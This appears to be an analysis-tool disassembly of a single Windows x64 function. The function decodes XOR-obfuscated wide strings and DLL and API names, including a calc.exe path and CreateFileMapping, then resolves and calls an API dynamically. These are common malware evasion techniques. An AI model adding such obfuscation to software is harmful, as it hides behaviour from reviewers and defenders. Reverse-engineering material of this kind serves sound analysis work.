Function at 0x207988ff0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x238
mov r12, rcx
mov ebx, edx
test r8b, r8b
je 0x207989660
xor eax, eax
movzx ecx, word [0x207a4352c]
movzx edx, word [0x207a4352e]
mov dword [rsp + 0x1b0], 0x37
mov word [rsp + 0x12a], ax
movzx r9d, word [0x207a43530]
movzx eax, word [0x207a4352a]
xor ecx, 0x37
xor edx, 0x37
movzx ebp, word [0x207a43524]
xor r9d, 0x37
movzx r10d, word [0x207a43532]
mov word [rsp + 0x30], cx
xor eax, 0x37
mov word [rsp + 0x32], dx
movzx r11d, word [0x207a43534]
xor ebp, 0x37
xor r10d, 0x37
mov word [rsp + 0x2e], ax
movzx r8d, word [0x207a43536]
mov word [rsp + 0x34], r9w
movzx eax, word [0x207a43538]
xor r11d, 0x37
movzx ecx, word [0x207a4353a]
mov word [rsp + 0x36], r10w
xor r8d, 0x37
movzx edx, word [0x207a4353c]
movzx r9d, word [0x207a4353e]
xor eax, 0x37
mov word [rsp + 0x2c], bp
movzx r10d, word [0x207a43540]
xor ecx, 0x37
mov word [rsp + 0x3c], ax
movabs rbp, 0x5200190054005b
xor edx, 0x37
xor r9d, 0x37
mov word [rsp + 0x3e], cx
movzx r15d, word [0x207a4351e]
xor r10d, 0x37
mov word [rsp + 0x38], r11w
movzx r14d, word [str._SystemRoot__system32calc.exe]
mov word [rsp + 0x40], dx
movzx r13d, word [0x207a43522]
xor r15d, 0x37
mov word [rsp + 0x3a], r8w
movzx edi, word [0x207a43526]
xor r14d, 0x37
mov word [rsp + 0x42], r9w
movzx esi, word [0x207a43528]
xor r13d, 0x37
mov word [rsp + 0x44], r10w
movzx eax, word [0x207a4354c]
xor edi, 0x37
movdqu xmm0, xmmword [0x207a435e0]
movzx r11d, word [0x207a43542]
mov word [rsp + 0xee], r15w
xor esi, 0x37
xor eax, 0x37
movzx ecx, word [0x207a4354e]
movzx edx, word [0x207a43550]
mov qword [rsp + 0xe0], rbp
mov word [rsp + 0x48], ax
movzx eax, word [0x207a43552]
xor r11d, 0x37
mov ebp, 0x37
movups xmmword [rsp + 0xb0], xmm0
movzx r15d, word [rsp + 0x2c]
xor ecx, 0x37
xor edx, 0x37
movdqu xmm0, xmmword [0x207a435f0]
xor eax, 0x37
mov word [rsp + 0x46], r11w
mov word [rsp + 0x4a], cx
movzx r11d, word [0x207a43544]
movups xmmword [rsp + 0xc0], xmm0
movdqu xmm0, xmmword [0x207a43600]
movzx r10d, word [0x207a43546]
mov word [rsp + 0x4c], dx
movzx r9d, word [0x207a43548]
xor r11d, 0x37
mov word [rsp + 0x4e], ax
movzx r8d, word [0x207a4354a]
xor r10d, 0x37
mov word [rsp + 0xf6], di
movzx ecx, word [0x207a43554]
xor r9d, 0x37
movzx edx, word [0x207a43556]
movzx eax, word [0x207a43558]
xor r8d, 0x37
mov dword [rsp + 0xe8], 0x52004f
mov word [rsp + 0xec], bp
xor ecx, 0x37
mov word [rsp + 0xf0], r14w
xor eax, 0x37
xor edx, 0x37
mov word [rsp + 0xf2], r13w
mov word [rsp + 0xf4], r15w
movups xmmword [rsp + 0xd0], xmm0
mov word [rsp + 0xf8], si
movzx esi, word [rsp + 0x2e]
mov word [rsp + 0x114], r11w
movzx edi, word [rsp + 0x30]
mov word [rsp + 0xfa], si
movzx esi, word [rsp + 0x32]
mov word [rsp + 0xfc], di
movzx edi, word [rsp + 0x34]
mov word [rsp + 0xfe], si
movzx esi, word [rsp + 0x36]
mov word [rsp + 0x100], di
movzx edi, word [rsp + 0x38]
mov word [rsp + 0x102], si
movzx esi, word [rsp + 0x3a]
mov word [rsp + 0x104], di
movzx edi, word [rsp + 0x3c]
mov word [rsp + 0x106], si
movzx esi, word [rsp + 0x3e]
mov word [rsp + 0x108], di
movzx edi, word [rsp + 0x40]
mov word [rsp + 0x10a], si
movzx esi, word [rsp + 0x42]
mov word [rsp + 0x10c], di
movzx edi, word [rsp + 0x44]
mov word [rsp + 0x10e], si
movzx esi, word [rsp + 0x46]
mov word [rsp + 0x110], di
movzx edi, word [rsp + 0x48]
mov word [rsp + 0x112], si
mov word [rsp + 0x11c], di
mov word [rsp + 0x116], r10w
mov word [rsp + 0x118], r9w
mov word [rsp + 0x11a], r8w
movzx esi, word [rsp + 0x4a]
mov word [rsp + 0x128], ax
movzx edi, word [rsp + 0x4c]
movabs rax, 0x44004e00640012
mov qword [rsp + 0x1b4], rax
movabs rax, 0x12004300580058
movdqu xmm1, xmmword [rsp + 0xe0]
mov word [rsp + 0x11e], si
movzx esi, word [rsp + 0x4e]
mov word [rsp + 0x126], dx
movabs rdx, 0x65005a00520043
movdqu xmm2, xmmword [rsp + 0xf0]
mov qword [rsp + 0x1bc], rdx
movabs rdx, 0x44004e0064006b
movdqu xmm3, xmmword [rsp + 0x100]
mov qword [rsp + 0x1c4], rax
movabs rax, 0x1006000580060
movdqu xmm4, xmmword [rsp + 0x110]
mov qword [rsp + 0x1cc], rdx
movabs rdx, 0x560054006b0003
mov qword [rsp + 0x1d4], rax
mov word [rsp + 0x120], di
mov word [rsp + 0x122], si
mov word [rsp + 0x124], cx
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x1dc], rdx
movups xmmword [rsp + 0x1e4], xmm1
movups xmmword [rsp + 0x1f4], xmm2
movups xmmword [rsp + 0x204], xmm3
movups xmmword [rsp + 0x214], xmm4
mov qword [rsp + 0x224], rax
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0x22c], eax
xor eax, eax
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0x1b4]
mov ecx, dword [rsp + 0x1b0]
xor edx, ecx
mov word [rsp + rax*2 + 0x1b4], dx
add rax, 1
cmp rax, 0x3d
jne 0x207989450
xor r13d, r13d
mov r14d, 0x55
movabs rax, 0x71656c6770725172
movabs rsi, 0x6c43626c5f6e7643
movabs rdi, 0x6c636b6c6d706774
mov r15d, 0x55
mov word [rsp + 0x22e], r13w
movdqu xmm0, xmmword [0x207a43610]
mov qword [rsp + 0x130], rsi
mov word [rsp + 0x88], r14w
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rax
mov word [rsp + 0x148], r15w
mov qword [rsp + 0x80], rax
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x130]
add edx, 2
mov byte [rsp + rax + 0x130], dl
add rax, 1
cmp rax, 0x19
jne 0x2079894f0
mov rax, qword [0x207a43620]
mov dword [rsp + 0x58], 0x95959dd7
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x90]
mov byte [rsp + 0x5c], 0
mov qword [rsp + 0x50], rax
movabs rax, 0xcbca959c978b9c92
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x95959dd7
mov byte [rsp + 0x9c], 0
movzx eax, byte [rsp + 0x90]
xor eax, 0xfffffff9
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
xor eax, 0xfffffff9
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
xor eax, 0xfffffff9
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
xor eax, 0xfffffff9
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
xor eax, 0xfffffff9
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
xor eax, 0xfffffff9
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
xor eax, 0xfffffff9
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
xor eax, 0xfffffff9
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
xor eax, 0xfffffff9
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x99]
xor eax, 0xfffffff9
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x9a]
xor eax, 0xfffffff9
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0x9b]
xor eax, 0xfffffff9
mov byte [rsp + 0x9b], al
call fcn.2079560c0
lea rcx, [rsp + 0x1b4]
mov r8d, ebx
mov rdx, r12
call rax
mov eax, 1
add rsp, 0x238
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, word [0x207a4356a]
movzx ecx, word [0x207a4356c]
xor r8d, r8d
mov dword [rsp + 0x1b0], 0x24
movzx edx, word [0x207a4356e]
movzx ebp, word [0x207a43564]
mov word [rsp + 0x1aa], r8w
movzx r9d, word [0x207a43570]
xor eax, 0x24
xor ecx, 0x24
movzx edi, word [0x207a43566]
movzx r10d, word [0x207a43572]
xor edx, 0x24
mov word [rsp + 0x2e], ax
xor ebp, 0x24
xor r9d, 0x24
mov word [rsp + 0x30], cx
movzx r11d, word [0x207a43574]
xor edi, 0x24
xor r10d, 0x24
mov word [rsp + 0x32], dx
movzx r8d, word [0x207a43576]
mov word [rsp + 0x34], r9w
movzx eax, word [0x207a43578]
xor r11d, 0x24
movzx ecx, word [0x207a4357a]
mov word [rsp + 0x36], r10w
xor r8d, 0x24
movzx edx, word [0x207a4357c]
movzx r9d, word [0x207a4357e]
xor eax, 0x24
mov word [rsp + 0x2c], bp
movzx r10d, word [str.icplcj10]
xor ecx, 0x24
mov word [rsp + 0x3c], ax
movabs rbp, 0x41000a00470048
xor edx, 0x24
xor r9d, 0x24
mov word [rsp + 0x3e], cx
movzx r15d, word [0x207a4355e]
xor r10d, 0x24
mov word [rsp + 0x38], r11w
movzx r14d, word [0x207a43560]
mov word [rsp + 0x40], dx
movzx r13d, word [0x207a43562]
xor r15d, 0x24
mov word [rsp + 0x3a], r8w
movzx esi, word [0x207a43568]
xor r14d, 0x24
mov word [rsp + 0x42], r9w
xor r13d, 0x24
mov word [rsp + 0x44], r10w
movzx eax, word [0x207a4358c]
xor esi, 0x24
movdqu xmm0, xmmword [0x207a43630]
movzx r11d, word [0x207a43582]
mov word [rsp + 0x170], r14w
xor eax, 0x24
movzx ecx, word [0x207a4358e]
movzx edx, word [str.CreateFileMappinkernel32_gjn_Ci]
mov qword [rsp + 0x160], rbp
mov word [rsp + 0x48], ax
movzx eax, word [0x207a43592]
xor r11d, 0x24
mov ebp, 0x24
movups xmmword [rsp + 0x130], xmm0
movzx r14d, word [rsp + 0x2c]
xor ecx, 0x24
xor edx, 0x24
movdqu xmm0, xmmword [0x207a43640]
xor eax, 0x24
mov word [rsp + 0x46], r11w
mov word [rsp + 0x4a], cx
movzx r11d, word [0x207a43584]
movups xmmword [rsp + 0x140], xmm0
movdqu xmm0, xmmword [0x207a43650]
movzx r10d, word [0x207a43586]
mov word [rsp + 0x4c], dx
movzx r9d, word [0x207a43588]
xor r11d, 0x24
mov word [rsp + 0x4e], ax
movzx r8d, word [0x207a4358a]
xor r10d, 0x24
mov word [rsp + 0x176], di
movzx ecx, word [0x207a43594]
xor r9d, 0x24
movzx edx, word [0x207a43596]
movzx eax, word [0x207a43598]
xor r8d, 0x24
mov dword [rsp + 0x168], 0x41005c
mov word [rsp + 0x16c], bp
xor ecx, 0x24
mov word [rsp + 0x16e], r15w
xor eax, 0x24
xor edx, 0x24
mov word [rsp + 0x172], r13w
mov word [rsp + 0x174], r14w
movups xmmword [rsp + 0x150], xmm0
mov word [rsp + 0x178], si
movzx edi, word [rsp + 0x2e]
mov word [rsp + 0x194], r11w
movzx esi, word [rsp + 0x30]
mov word [rsp + 0x17a], di
movzx edi, word [rsp + 0x32]
mov word [rsp + 0x17c], si
movzx esi, word [rsp + 0x34]
mov word [rsp + 0x17e], di
movzx edi, word [rsp + 0x36]
mov word [rsp + 0x180], si
movzx esi, word [rsp + 0x38]
mov word [rsp + 0x182], di
movzx edi, word [rsp + 0x3a]
mov word [rsp + 0x184], si
movzx esi, word [rsp + 0x3c]
mov word [rsp + 0x186], di
movzx edi, word [rsp + 0x3e]
mov word [rsp + 0x188], si
movzx esi, word [rsp + 0x40]
mov word [rsp + 0x18a], di
movzx edi, word [rsp + 0x42]
mov word [rsp + 0x18c], si
movzx esi, word [rsp + 0x44]
mov word [rsp + 0x18e], di
movzx edi, word [rsp + 0x46]
mov word [rsp + 0x190], si
movzx esi, word [rsp + 0x48]
mov word [rsp + 0x192], di
mov word [rsp + 0x19c], si
mov word [rsp + 0x196], r10w
mov word [rsp + 0x198], r9w
mov word [rsp + 0x19a], r8w
movzx edi, word [rsp + 0x4a]
mov word [rsp + 0x1a8], ax
movzx esi, word [rsp + 0x4c]
movabs rax, 0x57005d00770001
mov qword [rsp + 0x1b4], rax
movabs rax, 0x10050004b004b
movdqu xmm5, xmmword [rsp + 0x160]
mov word [rsp + 0x19e], di
movzx edi, word [rsp + 0x4e]
mov word [rsp + 0x1a6], dx
movabs rdx, 0x76004900410050
movdqu xmm1, xmmword [rsp + 0x170]
mov qword [rsp + 0x1bc], rdx
movabs rdx, 0x57005d00570078
movdqu xmm2, xmmword [rsp + 0x180]
mov qword [rsp + 0x1c4], rax
movabs rax, 0x17004900410050
movdqu xmm3, xmmword [rsp + 0x190]
mov qword [rsp + 0x1cc], rdx
movabs rdx, 0x45004700780016
mov qword [rsp + 0x1d4], rax
mov word [rsp + 0x1a0], si
mov word [rsp + 0x1a2], di
mov word [rsp + 0x1a4], cx
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1dc], rdx
movups xmmword [rsp + 0x1e4], xmm5
movups xmmword [rsp + 0x1f4], xmm1
movups xmmword [rsp + 0x204], xmm2
movups xmmword [rsp + 0x214], xmm3
mov qword [rsp + 0x224], rax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x22c], eax
xor eax, eax
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0x1b4]
mov ecx, dword [rsp + 0x1b0]
xor edx, ecx
mov word [rsp + rax*2 + 0x1b4], dx
add rax, 1
cmp rax, 0x3d
jne 0x207989aa0
xor eax, eax
mov edx, 0x55
movabs rsi, 0x6c43626c5f6e7643
movabs rdi, 0x6c636b6c6d706774
mov word [rsp + 0x22e], ax
mov ecx, 0x55
movabs rax, 0x71656c6770725172
movdqu xmm0, xmmword [0x207a43610]
mov qword [rsp + 0xb0], rsi
mov word [rsp + 0xa8], dx
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], rax
mov word [rsp + 0xc8], cx
mov qword [rsp + 0xa0], rax
xor eax, eax
movups xmmword [rsp + 0x90], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xb0]
add edx, 2
mov byte [rsp + rax + 0xb0], dl
add rax, 1
cmp rax, 0x19
jne 0x207989b40
mov rax, qword [0x207a43620]
mov dword [rsp + 0x68], 0x95959dd7
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x6c], 0
mov qword [rsp + 0x60], rax
movabs rax, 0xcbca959c978b9c92
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x95959dd7
mov byte [rsp + 0x7c], 0
movzx eax, byte [rsp + 0x70]
xor eax, 0xfffffff9
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x71]
xor eax, 0xfffffff9
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x72]
xor eax, 0xfffffff9
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x73]
xor eax, 0xfffffff9
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x74]
xor eax, 0xfffffff9
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x75]
xor eax, 0xfffffff9
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
xor eax, 0xfffffff9
mov byte [rsp + 0x76], al
movzx eax, byte [rsp + 0x77]
xor eax, 0xfffffff9
mov byte [rsp + 0x77], al
movzx eax, byte [rsp + 0x78]
xor eax, 0xfffffff9
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x79]
xor eax, 0xfffffff9
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0x7a]
xor eax, 0xfffffff9
mov byte [rsp + 0x7a], al
movzx eax, byte [rsp + 0x7b]
xor eax, 0xfffffff9
mov byte [rsp + 0x7b], al
jmp 0x207989632